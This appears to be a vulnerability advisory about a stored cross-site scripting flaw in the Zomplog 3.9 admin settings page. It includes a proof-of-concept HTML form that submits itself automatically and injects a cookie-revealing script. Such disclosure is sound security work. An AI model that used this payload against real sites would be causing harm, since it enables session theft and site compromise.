Stored XSS vulnerability in Zomplog

Vulnerability ID: HTB22643
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_zomplog_1.html
Product: Zomplog
Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ )
Vulnerable Version: 3.9 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/settings_menu.php" script to properly sanitize user-supplied input in "about" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/settings_menu.php&quot; method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="Submit" value="Submit ››">
<input type="hidden" name="search" value="1">
<input type="hidden" name="teasers" value="1">
<input type="hidden" name="archive" value="1">
<input type="hidden" name="latestentries" value="1">
<input type="hidden" name="nr_entries" value="10">
<input type="hidden" name="latestcomments" value="1">
<input type="hidden" name="nr_comments" value="10">
<input type="hidden" name="categories" value="1">
<input type="hidden" name="authors" value="1">
<input type="hidden" name="pages" value="1">
<input type="hidden" name="meta" value="1">
<input type="hidden" name="login" value="1">
<input type="hidden" name="use_join" value="1">
<input type="hidden" name="powered" value="1">
<input type="hidden" name="about" value='about"><script>alert(document.cookie)</script>'>
<input type="hidden" name="customfield" value="customfield">
</form>
<script>
document.main.submit();
</script>